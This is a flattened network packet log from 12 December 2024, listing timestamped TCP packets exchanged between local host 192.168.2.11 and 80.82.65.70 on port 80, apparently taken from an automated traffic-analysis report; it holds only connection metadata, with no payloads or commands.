                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.304522038 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.305052042 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.305201054 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.305283070 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.306689024 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.306824923 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.307333946 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.307333946 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.307333946 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.308226109 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.308304071 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.309719086 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.309828043 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.311197996 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.311335087 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.311335087 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.311351061 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.311556101 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.311556101 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.312657118 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.312787056 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.314338923 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.314448118 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.314497948 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.314497948 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.314497948 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.315618038 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.315773010 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.315783978 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.317038059 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.317142963 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.317142963 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.317172050 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.318420887 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.318514109 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.319350004 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.319350004 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.319933891 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.320039988 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.321311951 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.321374893 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.322490931 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.322490931 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.322679043 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.322771072 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.323334932 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.323334932 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.324094057 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.324183941 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.324697018 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.325479031 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.325557947 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.325651884 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.326961040 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.327045918 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.327104092 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.327104092 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.328258991 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.328377962 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.329442978 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.329672098 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.329732895 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.329756021 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.329813957 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.331058979 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.331173897 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.331212997 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.331267118 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.332423925 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.332592964 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.332607031 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.332685947 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.333844900 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.333853960 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.334021091 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.335196972 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.335453033 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.336458921 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.336458921 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.336635113 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.336642027 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.337524891 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.337923050 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.337930918 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.338098049 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.339338064 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.339345932 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.339473009 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.340694904 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.340703964 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.340754032 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.342015028 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.342148066 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.342489958 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.342489958 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.344129086 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.344137907 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.344186068 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.344902039 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.344908953 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.344993114 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.346244097 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.346251011 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.346579075 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.347702026 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.347707987 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.347862959 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.348925114 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.348932981 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.349616051 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.350342035 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.350347996 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.351059914 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.351633072 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.351639986 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.351900101 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.353040934 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.353055000 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.353936911 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.354268074 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.354640961 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.355339050 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.355958939 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.355967045 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.359035969 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.359059095 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.359333992 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.489976883 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490000963 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490008116 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490083933 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490089893 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490130901 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490132093 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490132093 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490153074 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490329027 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490339994 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490377903 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490384102 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490521908 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490521908 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490521908 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490570068 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490576029 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490587950 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490593910 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490753889 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490761042 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490837097 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490848064 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490854979 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490880013 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490880013 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490880013 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.490880013 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.491002083 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.491020918 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.491333961 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.491333961 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.491345882 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.492502928 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.492518902 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.492525101 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.492805004 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.493081093 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.493081093 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.493222952 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.493377924 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.495650053 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.495707989 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.495712996 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.495834112 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.495834112 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.496988058 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.496994019 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.497042894 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.497112989 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.497118950 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.497555971 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.497673035 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.499244928 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.499250889 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.499263048 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.499306917 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.499306917 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.499351025 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.499373913 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.500042915 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.500049114 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.500205040 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.500205040 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.501211882 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.501218081 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.501861095 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.502182007 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.502188921 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.502497911 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.503206968 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.503212929 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.503262997 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.504769087 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.504774094 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.504885912 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.505136967 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.505147934 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.505213976 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.505213976 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.506299019 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.506305933 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.506614923 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.507344007 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.507349968 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.507792950 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.508284092 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.508291006 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.508377075 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.509444952 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.509450912 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.510224104 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.510307074 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.510473013 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.511286974 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.511293888 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.511368990 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.512279034 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.512285948 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.512331963 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.512507915 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.513333082 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.513339043 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.513382912 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.513382912 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.514420986 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.514427900 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.514594078 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.515367985 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.515710115 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.515727043 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.516078949 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.516807079 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.517107010 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.517493963 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.517499924 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.517595053 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.518522978 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.518528938 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.518537045 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.518762112 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.518762112 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.519637108 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.519645929 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.519804955 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.520524025 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.521073103 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.521583080 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.521589041 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.521828890 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.522479057 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.522603035 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.522624969 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.523047924 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.523061037 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.523329973 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.523711920 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.523719072 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.524571896 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.524703026 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.524708986 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.524909019 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.525687933 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.525693893 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.526036978 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.526664019 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.526674032 CET804988280.82.65.70192.168.2.11
